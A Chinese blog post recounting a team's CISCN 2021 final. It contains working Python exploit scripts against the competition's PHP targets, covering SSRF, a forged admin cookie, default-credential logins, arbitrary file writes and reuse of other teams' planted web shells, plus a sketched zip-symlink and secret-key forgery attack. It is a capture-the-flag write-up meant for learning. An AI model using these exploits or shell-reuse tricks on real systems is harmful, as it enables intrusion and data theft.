CISCN 2021 决赛杂记

流水账似的记录一下这次国赛决赛的经历,对我来说收获还是很多的,从15号开始,四天都在头脑风暴,学到了很多姿势,把自己比赛经历分享给大家,以及给自己做一个总结,感谢队伍里师傅爷爷们的输出,最后算是获得了一个还不错的名次。

Day 1

大概九点就起来去机场了,十点左右的时候到的机场,由于哈尔滨当时的天气是长这样子的:

四连雷阵雨

于是乎从11点就开始通知延误了,一直延迟到了14点才登的飞机,幸好没有延误太久,看到群里有老哥延误了一天,十分庆幸

延误两小时

不过深圳的天倒是很蓝

顺便和某位师傅在飞机上看了《黑寡妇》,队友们:

By the way,顺便插播个渣女语录,当我14号晚跟某位不愿透露姓名的网友聊天时:

六点到的哈尔滨,这应该算是夕阳?

下飞机的时候跟T4rn师傅聊天,听说我们赛区半决赛的赛题是他出的,先膜了,很遗憾这次没有面基师傅

下飞机打车到酒店大概花了50分钟左右的时间,在附近找了一家火锅店,4人只要148,量还贼大,再次感慨深圳的物价

晚上比较重头戏,先是官方公布了比赛细则(u1s1实在是太慢了),同时也放出了除了路由网关之外的网络拓扑以及提交方式,于是今晚都在补脚本,弄到了晚上五点。

以上。

Day 2

五点睡八点起,队友@examine 八点就起来改脚本了,明年北京冬奥铁人三项没你我不看

下午去哈工大签到

场地有吃席内味了

我们队的小flag(薅羊毛对象+1)

晚上在哈工大食堂吃了凉皮,味道还可以,就是印象不佳,一个食堂居然没有空调!热起来了之后食欲都没了

晚上听了华为未然实验室吹水,给了一堆招聘指南

后面就回酒店了,一直核对防御流程,感觉还是太弱了,很多都没有准备好,当时全队都很没自信,想着不要优胜就好,被打爆预警。

Day3

第一天赛制是awd+可信计算,awd先放了两道web两道pwn,可信计算放了一题。放的web分别是10.1.x.2和10.1.x.4,为了方便下面称为web2和web4,下午两三点的时候放出了web10.1.x.3,后面称为web3。

这里的exp我用了自己的AWD框架进行了封装,要看直接当成正常的requests请求就行。

比赛的拓扑是80只队,靶机ip是10.1.{队伍id}.{题目id}。

队伍负责防御的师傅发现靶机没有py,脚本不能run,上的phplog防御导致了一波宕机之后我们WEB心态就有点小崩。

顺便一提这次的awdweb跟以前打过的awdweb很不一样,最明显的是控权了,设置了很多disable_Function避免攻击队对靶机造成破坏,已经设置了独特的flag请求方式。印象里flag的获得方式一直是这样的:

system('cat /flag')

这次awd安恒把flag整成了这样:

file_get_contents("http://flagserver.top/index.php?token=xxxxxx") // 远程请求flagserver
system("curl http://flagserver.top/index.php?token=xxxxxx") // 或者直接调用curl请求

大概就是拿到权限之后需要用靶机再次发起请求,请求远程服务器拿到flag再提交一次。还有就是由于set_time_limit和ignore_user_abort两个函数都被过滤了,不死马写不上了,至少在比赛结束时,我们的靶机都是挺干净的。

9点20分的时候白泽就拿到了web的一血,不清楚他们有没有打满第一轮,第二轮的时候就有几只队伍同样打通了。

由于延时流量,没有很及时的上车,也没扫出来洞但是其实这个洞很明显的,但是D盾没扫出来,然后主要是我当时判断大家都出的这么快应该是框架洞,就一直在尝试tp5的poc,以及eval之类的命令执行函数,完美的错过了点,后面关掉了强制路由变量还被check判down了。

大概在四五十分的时候PWN爷拿到了一血,把分数稳定了下来,然后白泽和我们分别拿了可信计算的一二血,10点开始我们的web2就上车写了exp,当时写的比较及时,写完之后还能打四五十只队,过了两轮就打不了多少了,大家都拿着流量上车了,然后应该是第五轮我们patch上了,然后我们短暂的体验了一会儿第一(虽然顶了还没两轮就很快就下去了,而且很快WEB2又被新payload打了)。

回到这个洞,简单的POC如下:

GET /index/Api/curlfun?url=http://flagserver.top/index.php?token=xxxxxx

tp5框架,可以看一下这里的逻辑,调用了Api控制器的curlfun函数,跟进一下

	//curl获取数据
	public function curlfun($url, $params = array(), $method = 'GET')
	{
		
		$header = array();
		$opts = array(CURLOPT_TIMEOUT => 10, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_HTTPHEADER => $header);

		/* 根据请求类型设置特定参数 */
		switch (strtoupper($method)) {
			case 'GET' :
				$opts[CURLOPT_URL] = $url . '?' . http_build_query($params);
				$opts[CURLOPT_URL] = substr($opts[CURLOPT_URL],0,-1);
				
				break;
			case 'POST' :
				//判断是否传输文件
				$params = http_build_query($params);
				$opts[CURLOPT_URL] = $url;
				$opts[CURLOPT_POST] = 1;
				$opts[CURLOPT_POSTFIELDS] = $params;
				break;
			default :
				
		}

		/* 初始化并执行curl请求 */
		$ch = curl_init();
		curl_setopt_array($ch, $opts);
		$data = curl_exec($ch);
		$error = curl_error($ch);
		curl_close($ch);
		
		if($error){
			$data = null;
		}
		
		return $data;

	}

提交一个url就可以直接请求了,很遗憾当时没有立刻找出来,不过后来也给我提供了思路,毕竟awd以前都是奔着命令执行拿shell去的,这次awd有ssrf就够用了,要注意curl,file_get_contents之类的函数。

exp:

def exp1(ip, eid, pid):
    exp1 = models.Exp(eid=eid)
    # 黑名单检测
    if not exp1.check(ip):
        print("[-]blacklist")
        return
    # 请求
    params = {
        "url": f"http://flAgserver.top/index.php?token={database.TOKEN[pid]['get_token']}"
    }
    res = exp1.request(url=ip + "index/Api/curlfun", method="GET", headers=None, cookies=None, params=params, data=None, files=None)
    # 提交 flag
    exp1.submit(res=res, pid=pid)

这里的patch我们直接把flag过滤了(这里记得大小写不敏感,有队伍只过滤了flag,又被我们用flAg打上了)

patch完之后web2没维持两轮绿灯又被打了,和队伍师傅看流量又搞到了第二个payload。。

话说在两周前内部赛的时候我们队伍就有一名WEB手沉迷改后台密码,以至于后面长了记性,每次都记得先看一下密码,但无奈这次后台的密码我赛时没有找到,主要是翻看了config文件和其他文件找数据,没有仔细整理登录的链,其实这题不需要登录也可以绕过,但是不打紧,当时抄了攻击队登录的的Cookies接着又上车了,很舒服。

exp,直接用burp转的,当时写的比较久,因为后来发现是要token的,但是还是打了比较多的队,同理,大概一小时之后能打的靶机又没剩几个了,再同理,还有队伍用flAG能打的。

跟踪一下这个payload,我们请求的是aiyx下的System控制器backupsbase方法,跟进到System控制器,这个System控制器有点意思,可以看到他是继承自Base的:

class System extends Base
{
public function __construct(){
		parent::__construct();
		
		if($this->otype != 3){
			echo 'Error!';exit;
		}
		
}
...
}

跟进Base基类的__construct()。

    public function __construct(){
		parent::__construct();
		
		
		//session_unset();
		//验证登录
		$login = cookie('denglu');
		if(!isset($login['userid'])){
			$this->error('请先登录!','login/login',1,1);
		}
		
		if(!isset($login['token']) || $login['token'] != md5('dbapp')){
			$this->redirect('login/logout');
		}

		$request = \think\Request::instance();
		
		$contrname = $request->controller();
        $actionname = $request->action();
        
        $this->assign('contrname',$contrname);
        $this->assign('actionname',$actionname);

        
        $this->otype = $login['otype'];
        $this->uid = $login['userid'];

        $this->assign('otype',$this->otype);
	}

我们可以得到对登录的check如下,获得名为’denglu’的Cookie,分别检测是否存在userid,以及token的值是否为dbapp的md5的值,结合上面System类的__construct(),otype必须为3,了解思路之后就很好构造了。 再回到backupsbase()

	/**
	 * 数据备份到服务器
	 * @author lukui  2017-02-17
	 * @return [type] [description]
	 */
	public function backupsbase()
	{

		$type=input("tp");
        $name=input("name");
        $sql=new \org\Baksql(\think\Config::get("database"));
        switch ($type)
        {
        case "backup": //备份
          return $sql->backup();
          break;
        case "dowonload": //下载
          $sql->downloadFile($name);
          break;
        case "restore": //还原
          return $sql->restore($name);
          break;
        case "del": //删除
          return $sql->delfilename($name);
          break;
        default: //获取备份文件列表
            return $this->fetch("db_bak",["list"=>$sql->get_filelist()]);

        }


	}

更近download:

    /**
     * 下载备份
     * @param string $fileName
     * @return array|mixed|string
     */
  public function downloadFile($fileName) {
        $fileName=$fileName;
        ob_end_clean();
        header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename=' . basename($fileName));
        readfile($fileName);

    }

所以最后我们需要做出的请求是

readfile('http://flAgserver.top/index.php?token={token}');

exp:

def exp2(ip, eid, pid):
    exp2 = models.Exp(eid=eid)
    # 黑名单检测
    if not exp2.check(ip):
        print("[-]blacklist")
        return
    # 请求
    cookies = {
        "denglu": "think:{\"otype\":\"3\",\"userid\":\"1\",\"username\":\"admin\",\"token\":\"2b1f613841e255297fc4ca74be3a95fc\"}"
    }
    data = {"name": f"http://flAgserver.top/index.php?token={database.TOKEN[pid]['get_token']}",
        "tp": "dowonload",
    }
    res = exp2.request(url=ip + "aiyx/System/backupsbase", method="GET", cookies=cookies, data=data)
    # 提交 flag
    exp2.submit(res=res, pid=pid)

由于这个时候这道题目通知马上要下线了,刚好Web4的一血也出了,所以跟运维的师傅商量了一下没patch了(主要是当时没时间),去看Web4了的log了,后面被平白打了两轮还是蛮亏的。

然后跳去看Web4,Web4被打的Log大概是这样的:

POST /admin?redirect=/filemanager/edit/img?file=/homepage/photo1.jpg&url=http://flagserver.top/index.php?token={token}

{
    "username": "admin@admin.com",
    "password": "admin@admin.com"
}

Web4是个blog,同样有登录功能,我们先来分析一下它的登录流程,可以找一下用户名和密码,用户名在两处有提示,一个是数据库安装文件:

insert into #prefix#user (id, email, password, session_id, expires, name, type, signed_up, updated, userdata) values (1, 'admin@admin.com', '$2y$10$w9ZitMtP9WIjmYQrsE41OOJglSrAKnpUQEnxUOytum1OVMwk4aDqa', null, (DATETIME('now')), 'Admin User', 'admin', (DATETIME('now')), (DATETIME('now')), '[]');

还有config.php也有:

email_from = "admin@admin.com"

password就比较难搞,可以看到数据库传入的password是经过加密的。加密方式是啥我们是可以朔源的,可以看到大部分的pwd都调用了:

		$user->pwd = $docEncryption->to_string();

跟进之后可以看到加密方式:

	function to_string()
	{
		$tmpstr = $this->get_jxqy3();
		$tmpstr = substr($tmpstr,-35).substr($tmpstr,0,40);
		return $tmpstr;
	}

加密:

	function get_jxqy3()
	{
		$tmpMS = $this->get_shal().$this->get_md5();
		$tmpNewStr = substr($tmpMS,0,9).'s'.substr($tmpMS,10,9).'h'.substr($tmpMS,20,9).'l'.substr($tmpMS,30,9).'s'.substr($tmpMS,40,9).'u'.substr($tmpMS,50,9).'n'.substr
($tmpMS,60,9).'y'.substr($tmpMS,70,2);
		$tmpNewStr = substr($tmpNewStr,-36).substr($tmpNewStr,0,36);
		$tmpNewStr = substr($tmpNewStr,0,70);
		$tmpNewStr = substr($tmpNewStr,0,14).'j'.substr($tmpNewStr,14,14).'x'.substr($tmpNewStr,28,14).'q'.substr($tmpNewStr,32,14).'y'.substr($tmpNewStr,56,14).'3';
		return $tmpNewStr;
	}

谢邀,看到这里完全劝退了,逆向手狂喜。

鉴于密码还是admin@admin.com,所以我更倾向于大家应该是通过弱密码解出来的,如果是手撕逆向的web手那也太强了8orz。

至于为什么知道密码是admin@admin.com?因为对手的poc有带上这个data,依然舒服上车。

然后登录之后是没有修改密码功能的,所以想通过修改密码防守是不太行的。

接下来的追踪对我来说是噩梦,在当时我们就没有追踪出来,由于对这个框架整个调用流程都很陌生,都是一步步慢慢摸索的,我们再来回头看这个路由

/admin?redirect=/filemanager/edit/img?file=/homepage/photo1.jpg&url=http://flagserver.top/index.php?token={token}

当时没有具体的做框架路由分析(真的血亏,但也是真的没时间,能现场挖洞的师傅辣是真滴牛皮),当时只能根据MVC框架做个大概的分析,大概初步推测是在admin的模板下通过redirect重定向到filemanager模板的edit控制器下的img函数,通过传入file来获得一个文件并且调用file_get_contents,传入参数url进行重写文件。

于是我遇到的问题就是/filemanager/edit/img的路由到底在哪里,并没有找到这个函数,以及为什么在模板下就可以重定向。于是赛后重新分析,下面正儿八经的网站框架MVC分析(由于是完全逆着分析的,我感觉部分还是有错,有什么错误的地方恳请师傅们指出,欢迎一起探讨):

我们可以看到网站app下的文件夹目录是这样的:

看上面请求的路由,其中/admin和/filemanager都欣然在列,所以我姑且认定这些文件夹是多用户app目录或者是模块。那下面的值怎么调用,例如admin如何请求重定向,以及/edit/img的调用方式是什么?

我们看一下所有模块下的结构,如下:

其他暂且不表,文件夹models/views/handlers组成了大家熟悉的MVC架构,但是作为一个模块,/admin又是如何传参的?这里就说不通了,于是大胆猜测,真正的路由是/admin/index,由于调用的是默认的控制器,所以被省略了!跟进index.php,可以看到熟悉的$redirect:

if (isset ($_GET['redirect'])) {
	$_POST['redirect'] = $_GET['redirect'];
}

跟进这个参数,它在这里进入了一个check,由于存在这个参数,我们可以看一下Validator::validate做了什么:

if (! isset ($_POST['redirect'])
	|| empty ($_POST['redirect'])
	|| ! Validator::validate ($_POST['redirect'], 'header')
	|| ! Validator::validate ($_POST['redirect'], 'localpath')
) {
	$_POST['redirect'] = $appconf['General']['login_redirect'];
}
...
case 'header':
    return ! (bool) preg_match ('/[\r\n]/s', $value);

case 'localpath':
	$filtered = filter_var ($value, FILTER_SANITIZE_URL);
	if ($filtered !== $value) {
		return false;
	}

	$value = filter_var ($value, FILTER_SANITIZE_URL);
	if ($value === '/') {
		return true;
	}
				
	if (preg_match ('|^/[^/]|', $value)) {
		return true;
	}
	return false;

第一个删掉了\r\n,第二个限定了请求的重定向的目录必须是本地路径,而不是其他网站,限制了一下重定向攻击。

这里我们提交的payload为redirect=/filemanager/edit/img,即重定向到了/filemanager下的……下的什么呢?

经验告诉我,会重定向到filemanager下的handlers下的edit.php,并且调用下面img方法,并且比赛中我就是这么认为实现的,但是进入edit.php,会发现其实并没有img()这个方法,这也是我刚开始打比赛的时候搜索全局函数没有搜到img最后也没有patch上的原因。这里的目录是这样子的:

这里可以看出差别,其实我们并不是进入了edit控制器调用img函数,而是进入了edit目录下的img.php!结合上面/admin/index这样的路由,这样的推测其实是正确的,我们实际上只是调用了img.php,并没有调用其中的任何函数,我们跟进img.php进行check,每一步发生什么我都根据我的理解进行了注释。

<?php

/**
 * Save the changes from Aviary for an image.
 */

$this->require_admin ();
$page->layout = false;
header ('Content-Type: application/json');

if (! isset ($_GET['file'])) { // 是否提交了file参数
	echo json_encode (array (
		'success' => false,
		'error' => __ ('No file specified.')
	));
	return;
}

if (! FileManager::verify_file ($_GET['file'])) { // 验证文件是否存在
	echo json_encode (array (
		'success' => false,
		'error' => __ ('Invalid file.')
	));
	return;
}

if (! isset ($_GET['url'])) { // 验证是否GET存在$url参数
	echo json_encode (array (
		'success' => false,
		'error' => __ ('No image url specified.')
	));
	return;
}

$res = fetch_url ($_GET['url']);
if (! $res) { // URL是否能进行正常解析
	echo json_encode (array (
		'success' => false,
		'error' => __ ('Updated image not found.')
	));
	return;
}

if (! file_put_contents (conf('Paths','filemanager_path') . '/'  . $_GET['file'], $res)) { // 最终将url请求的参数写入文件
	echo json_encode (array (
		'success' => false,
		'error' => __ ('Unable to write to the file. Please check your folder permissions and try again.')
	));
	return;
}

echo json_encode (array (
	'success' => true,
	'data' => __ ('File saved.')
));

这样发生什么就很清楚了,从/admin模块的index控制器重定向到/filemanager模块下的/edit/img控制器并且通过了url写入文件flag,这也是为什么我刚开始请求图片文件下马获得的flag都会报错,因为我拿到的是别的队伍的token的flag。如果多个队伍同时请求一个图片文件,你甚至还需要跟他们条件竞争。

最终exp:

// 两个都行
def exp4(ip, eid, pid):
    exp4 = models.Exp(eid=eid)
    # 黑名单检测
    if not exp4.check(ip):
        print("[-]blacklist")
        return
    # 请求
    data = {
        "redirect": f"/filemanager/edit/img?file=/homepage/photo4.jpg&url=http://flagserver.top/index.php?token={database.TOKEN[pid]['get_token']}",
        "username": "admin@admin.com",
        "password": "admin@admin.com"
    }
    exp4.request(url=ip + "admin", method="POST", data=data)
    res = exp4.request(url=ip +"files/homepage/photo4.jpg", method="GET")
    # 提交 flag
    exp4.submit(res=res, pid=pid)


def exp5(ip, eid, pid):
    exp5 = models.Exp(eid=eid)
    # 黑名单检测
    if not exp5.check(ip):
        print("[-]blacklist")
        return
    # 请求
    data = {
        "username": "admin@admin.com",
        "password": "admin@admin.com"
    }
    params = {
        "redirect": f"/filemanager/edit/img?file=/homepage/photo1.jpg&url=http://flagserver.top/index.php?token={database.TOKEN[pid]['get_token']}"
    }
    exp5.request(url=ip + "admin", method="POST", params=params, data=data)
    res = exp5.request(url=ip +"files/homepage/photo1.jpg", method="GET")
    # 提交 flag
    exp5.submit(res=res, pid=pid)

这个exp大概是在两点写好的,那个时候我们大概掉到五六名了?交了之后和pwn爷爷们又把分数顽强的拉回去了一点,这个时候爷爷们已经在看可信计算了,第三个Web是Web3,当时已经放出而且被拿一血了。当时我让运维师傅去修洞,但是反而把靶机弄宕机了,所以我又硬着头皮去修洞了,师傅去看Web3的日志了。由于当时没有分析到洞,瞎几把patch我们最终没patch上,最后又去看Web3的流量分析了,最后三点左右写好了Web3的exp,离比赛结束剩下两小时左右,这里浪费了很多时间,Web背大锅。

Web3这道题比较有意思,它控制权限不能写入不死马,但是由于这道题是可以上传文件的,它成为了唯一一道(至少在我看到的)能写入马的题目,于是有很多队伍在这道题写马,但是由于没有做好加密,最后反而被我用上了,后面再提。由于这道题被某只队伍打全场了,所以就算我们没patch他也宕机了,我跟工作人员反馈后也没有补分数,宕机了挺久,血亏。

当时流量包抓到的exp:

GET /getRemoteImage.php?upfile=http://flagserver.top/index.php?token=xxxxxx%26123=aurora.gif

这个exp写起来其实特别的简单,只有简单的请求,当时很快就写好了,但是由于是赛后分析,我还是分析一下漏洞的成因和具体路由的走向吧。

进入该文件,追踪upfile

$uri = htmlspecialchars($_POST['upfile']);
//Ajax提交的网址内容中如果包含了&符号,上述函数会将其转成&amp;导致地址解析不对,这里要转回来
$uri = str_replace("&amp;", "&", $uri);

传入这里的upfile变量(注意这里GET和POST都可以,应该是有配置过或者赋值过,我没细找)使用htmlspecialchars过滤了一次,走了一次字符串替换,然后进入函数getRemoteImage()。

function getRemoteImage($uri) {
	//忽略抓取时间限制
	set_time_limit(0);
	//远程抓取图片配置
	$config = array(
		"savePath" => "../../.." . UPLOADPATH, //保存路径
		"fileType" => array(".gif", ".png", ".jpg", ".jpeg", ".bmp"), //文件允许格式
		"fileSize" => 3000, //文件大小限制,单位KB
	);
	//ue_separate_ue  ue用于传递数据分割符号
	$imgUrls = explode("ue_separate_ue", $uri);
	$tmpNames = array();
	foreach ($imgUrls as $imgUrl) {
		//http开头验证
		if (strpos($imgUrl, "http") !== 0) {
			array_push($tmpNames, "error");
			continue;
		}
		//获取请求头
		$heads = get_headers($imgUrl);
		//死链检测
		if (!(stristr($heads[0], "200") && stristr($heads[0], "OK"))) {
			array_push($tmpNames, "error");
			continue;
		}

		//格式验证(扩展名验证和Content-Type验证)
		$fileType = strtolower(strrchr($imgUrl, '.'));
		if (!in_array($fileType, $config['fileType']) || stristr($heads['Content-Type'], "image")) {
			array_push($tmpNames, "error");
			continue;
		}

		//打开输出缓冲区并获取远程图片
		ob_start();
		$context = stream_context_create(
			array(
				'http' => array(
					'follow_location' => false, // don't follow redirects
				),
			)
		);
		//请确保php.ini中的fopen wrappers已经激活
		readfile($imgUrl, false, $context);
		$img = ob_get_contents();
		ob_end_clean();

		//大小验证
		$uriSize = strlen($img); //得到图片大小
		$allowSize = 1024 * $config['fileSize'];
		if ($uriSize > $allowSize) {
			array_push($tmpNames, "error");
			continue;
		}
		//创建保存位置
		$savePath = $config['savePath'];
		$ymd = date("Ymd");
		$savePath .= "Image/" . $ymd . "/";

		if (!is_dir($savePath)) {
			mkdir($savePath, 0777);
		}
		//写入文件
		$tmpName = $savePath . rand(1, 10000) . time() . strrchr($imgUrl, '.');
		try {
			$fp2 = @fopen($tmpName, "a");
			fwrite($fp2, $img);
			fclose($fp2);
			array_push($tmpNames, $tmpName);
		} catch (Exception $e) {
			array_push($tmpNames, "error");
		}
	}
	/**
	 * 返回数据格式
	 * {
	 *   'url'   : '新地址一ue_separate_ue新地址二ue_separate_ue新地址三',
	 *   'srcUrl': '原始地址一ue_separate_ue原始地址二ue_separate_ue原始地址三',
	 *   'tip'   : '状态提示'
	 * }
	 */

	$url = ROOTPATH . '/' . strrchr(implode("ue_separate_ue", $tmpNames), 'upload');

	echo "{'url':'" . $url . "','tip':'远程图片抓取成功!','srcUrl':'" . $uri . "'}";
}

先是写定了文件上传目录在upload下,分别做了http请求头限制、检测访问是否200、以及限制了读取的文件的文件拓展名(这里可以通过get提交参数绕过)。

		if (strpos($imgUrl, "http") !== 0) {
			array_push($tmpNames, "error");
			continue;
		}
		//获取请求头
		$heads = get_headers($imgUrl);
		//死链检测
		if (!(stristr($heads[0], "200") && stristr($heads[0], "OK"))) {
			array_push($tmpNames, "error");
			continue;
		}

		//格式验证(扩展名验证和Content-Type验证)
		$fileType = strtolower(strrchr($imgUrl, '.'));
		if (!in_array($fileType, $config['fileType']) || stristr($heads['Content-Type'], "image")) {
			array_push($tmpNames, "error");
			continue;
		}

这里可以通过缓冲区读入文件内容,依然是用readfile读取了远程并写入$img,并最后写入文件。

		//打开输出缓冲区并获取远程图片
		ob_start();
		$context = stream_context_create(
			array(
				'http' => array(
					'follow_location' => false, // don't follow redirects
				),
			)
		);
		//请确保php.ini中的fopen wrappers已经激活
		readfile($imgUrl, false, $context);
		$img = ob_get_contents();
		ob_end_clean();

这里的文件名会通过时间函数获取

		//创建保存位置
		$savePath = $config['savePath'];
		$ymd = date("Ymd");
		$savePath .= "Image/" . $ymd . "/";

同理exp也是可以直接获取时间的,但是有更快的方法,上传文件后会返回远程文件抓取成功的提示

	echo "{'url':'" . $url . "','tip':'远程图片抓取成功!','srcUrl':'" . $uri . "'}";

按照这个格式正则匹配即可,exp:

def exp3(ip, eid, pid):
    exp3 = models.Exp(eid=eid)
    # 黑名单检测
    if not exp3.check(ip):
        print("[-]blacklist")
        return
    # 请求
    params = {
        "upfile": f"http://flagserver.top/index.php?token={database.TOKEN[pid]['get_token']}&123=aurora.gif"
    }
    res1 = exp3.request(url=ip + "getRemoteImage.php", method="GET", params=params)
    path = re.findall("'url':'([\s\S]*)','tip'", res1.text)[0]
    res2 = exp3.request(url=ip + path, method="GET")
    # 提交 flag
    exp3.submit(res=res2, pid=pid)

三点左右出的,大概这个时候队伍的爷爷已经把可信计算AK了,于是我们又神奇的拉回了第四名。

这段时间又出了插曲,有一只打全场的队伍把很多靶机都打挂了,我们也是其中之一,后来宕机没补分,我们又重置了,血亏一波。

后面就比较无聊了,检查各个队伍发来的流量找exp,这个时候大概也没有新的exp了,倒是在靶机里找到了别人种的马,有几个是有加密的,有几个是直接调用file_get_content的,这几个我们都利用不上,但是找到了两个直接明文弱密码的,很舒服的上车了。

exp1

def exp6(ip, eid, pid):
    exp6 = models.Exp(eid=eid)
    # 黑名单检测
    if not exp6.check(ip):
        print("[-]blacklist")
        return
    # 请求
    data = {
        "1": f"var_dump(file_get_contents('http://flagserver.top/index.php?token={database.TOKEN[pid]['get_token']}'));"
    }
    res = exp6.request(url=ip + ".1.php", method="POST", data=data)
    # 提交 flag
    exp6.submit(res=res, pid=pid)

exp2

def exp7(ip, eid, pid):
    exp7 = models.Exp(eid=eid)
    # 黑名单检测
    if not exp7.check(ip):
        print("[-]blacklist")
        return
    # 请求
    params = {
        "a": f"echo file_get_contents('http://flagserver.top/index.php?token={database.TOKEN[pid]['get_token']}')"
    }
    res = exp7.request(url=ip + "cache/blog_x5tar.phtml", method="GET", params=params)
    # 提交 flag
    exp7.submit(res=res, pid=pid)

恰了一波红利,感谢大师傅们送flag。

50分的截图

最后北邮的师傅们囤了一个可信计算的flag打到了第五名,我们最后是第六名,师傅们tql。


补充一下,在看到了Xenny师傅对CISCN的复盘之后,又发现了Web3自己没有找到的exp,这里设为exp8。

def exp8(ip, eid, pid):
    exp8 = models.Exp(eid=eid)
    # 黑名单检测
    if not exp8.check(ip):
        print("[-]blacklist")
        return
    # 请求 1
    params = {
        'act': 'login',
        'username': 'admin',
        'pwd': 'admin'
    }
    exp8.request(url=ip + 'admini/login.php', method="GET", params=params)
    # 请求 2
    data = {
        'fileName': './index/article/article_3.php',
        'fileCode': f'''<?php print_r(file_get_contents('http://flagserver.top/index.php?token={database.TOKEN[pid]['get_token']}'))?>'''
    }
    params = {
        'm': 'system',
        's': 'changeskin',
        'a': 'saveFileCode'
    }
    exp8.request(url=ip + 'admini/index.php', method="POST", params=params, data=data)
    # 请求 3
    res = exp8.request(url=ip + 'skins/doccms_model_1/index/article/article_3.php', method="GET")
    # 提交 flag
    exp8.submit(res, pid=pid)

这里的逻辑比较清晰,首先通过弱密码admin/admin登录后进入后台,请求路由m=system&s=changeskin&a=saveFileCode(我没找到这部分的配置文件,希望有师傅可以指点一下)。

通过经验我们可以查看admini目录下的controllers/system目录下的changeskin.php的saveFileCode函数,

function saveFileCode()
{
	global $request,$fileCode;
	if(empty($request['fileCode']))die('数据为空!');
	$request['fileName'] = filter_submitpath( $request['fileName'] );	//过滤ok
	
	$fname    = array_pop( explode('/',$request['fileName']) );
	$keditFileTypes  = array('php','shtml','html','htm','xml','log','txt','js','css');
	$ext = extendName($fname);
	if(empty($ext) || !in_array($ext,$keditFileTypes))
	{
		exit('0::此类型文件不允许编辑');
	}
	$curFile = get_abs_skin_root().$request['fileName'];
	if(is_file($curFile))
	{
		$filesizelimit=array('php'=>100,'shtml'=>100,'html'=>100,'htm'=>100,'xml'=>50,'log'=>200,'txt'=>200,'js'=>300,'css'=>200);
		if(cnStrLen($request['fileCode'])>1024*$filesizelimit[$ext]) die('此文件超过'.$filesizelimit[$ext].'k,禁止操作!');
		$fileExt = trim(substr($request['fileName'],strpos($request['fileName'],'.')+1,strlen($request['fileName'])));
		
		if($fileExt=='php' || $fileExt=='html' || $fileExt=='htm' || $fileExt=='shtml' || $fileExt=='css' || $fileExt=='js' || $fileExt=='xml' || $fileExt=='log' || $fileExt=='txt')
		{
		/*还原 信息  开始*/
    		$str=str_replace('\n', '<--n-->', $request['fileCode']);   //换行符转义避免被下面的标签过滤掉反斜杠
			$str=stripslashes($str);					               //过滤文件敏感信息
			$str=str_replace('{##}','&',$str);						   //js转码替代方案
			$str=str_replace('{####}','+',$str);					   //连接符
			$str=str_replace('<--n-->', PHP_EOL, $str);                //转义后的换行符再转义回来
        /*还原 信息  结束*/
			if(mb_detect_encoding($str)!='UTF-8' && mb_detect_encoding($str)!='ASCII')
			{
				@unlink($curFile);
				string2file('尊敬的用户,该文件不是utf8编码 ,请将原文件代码手动粘贴到此,保存,并按提示修改',$curFile);
				exit('粘贴文本请先转码成utf8编码');
			}else{						
				string2file($str,$curFile);
				exit('编辑成功');
			}
		}
		else
		{
			exit('fobidden');
		}

	}
	elseif(is_dir($curFile))
	{
		exit('禁止操作!');
	}
	else
		die('此文件禁止操作!');
}

过滤比较多,一层层看,首先禁止目录穿越,检测到如果存在该文件才进行写入,且写入后缀允许为php后缀,最后进行一个写入文件的操作。

//生成新的文件($str为字符串,$filePath为生成时的文件路径包括文件名)
function string2file($str,$filePath)
{ 
	//去除bom
    $contents   = file_get_contents($filePath);
    $charset[1] = substr($contents, 0, 1);
    $charset[2] = substr($contents, 1, 1);
    $charset[3] = substr($contents, 2, 1);
    if (ord($charset[1]) == 239 && ord($charset[2]) == 187 && ord($charset[3]) == 191) {
       $str="\xEF\xBB\xBF".$str;
    }
	$fp=fopen($filePath,'wb');
	fwrite($fp,$str);
	fclose($fp);
	return true;
}

写完读文件完事,感谢师傅的分享。

Day 4

这天的赛制是awd+,break+fix。这天我打的很混,Web没输出属实背锅,PWN爷打了两题,最后我们拿到了第一名。

Web4是唯一一题有解的题,几乎撞了HCTF的原题,指路hide and seek

https://skysec.top/2018/11/12/2018-HCTF-Web-Writeup/#hide-and-seek

https://ox1234.github.io/2019/03/27/HCTF%202018%20hide%20and%20seek%E5%A4%8D%E7%9B%98/

其实考察的就是zip包解压软链接的问题,不是一个新考点,利用软链接读取文件/proc/self/cmdline查看进程,可以看到在当前执行了一个类似cat upload/xxx/xxx这样的命令,也就是直接调用命令行读取文件,这就是为什么可以用软链接的原因。

接着读取/proc/self/envion,可以找到配置文件wsgi.ini的位置,找到应用的目录。

读取文件之后发现secret.key是通过uuid.getnode(),也就是本地mac地址来当做seed

读取文件/sys/class/net/eth0/address,转成十进制,通过伪造来越权。

(由于搭不起来环境,全靠yy了)

最终排名第七:

晚上华为之夜,这次比赛主办承办和赞助都还是很良心的,晚上有小活动,伙食也很舒服,就是最后抽奖450人抽250个奖还没抽到我,我也是醉了。

感谢队友指路,和诸葛建伟老师合影留念,合照就不放了,私藏乐呵。

总结

这次awd还是学到了很多东西的,以前打的awd我就是纯混子,很多事情都不会做,这次学到了很多姿势,涨了很多见识。

  • 准备好自己读得懂的会用的会改的攻击脚本和防御脚本,这个就不用多说了。
  • 根据赛制随机应变吧,比如这次诸如拿flag的方式和权限都做了很多限制,很多固有的awd套路都不能用了,又衍生了很多新的挖洞思路;还有就是要有一个好心态,心态不能先崩了,这次心态还算可以,感谢队友不骂我。
  • 看流量yyds,好好看流量,就算只是看流量+写exp+patch,flag总会有的。
  • web的代码审计和敏感函数审查都很重要,前者可以全局分析,后者可以快速定位漏洞。
  • PWN就是爷

其他就不多说了,很多awd分享都写了很详细了,感谢主办方给我们带来精彩的周末。

评论

  1. llt的小弟
    1周前
    2021-7-21 21:49:33

    lt太强辣

    • oatmeal 博主
      1周前
      2021-7-21 22:14:00

      yashilale

  2. llt的大弟
    6天前
    2021-7-23 19:32:13

    我酸了,llt太强了

    • oatmeal 博主
      6天前
      2021-7-23 22:45:27

      水军?

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
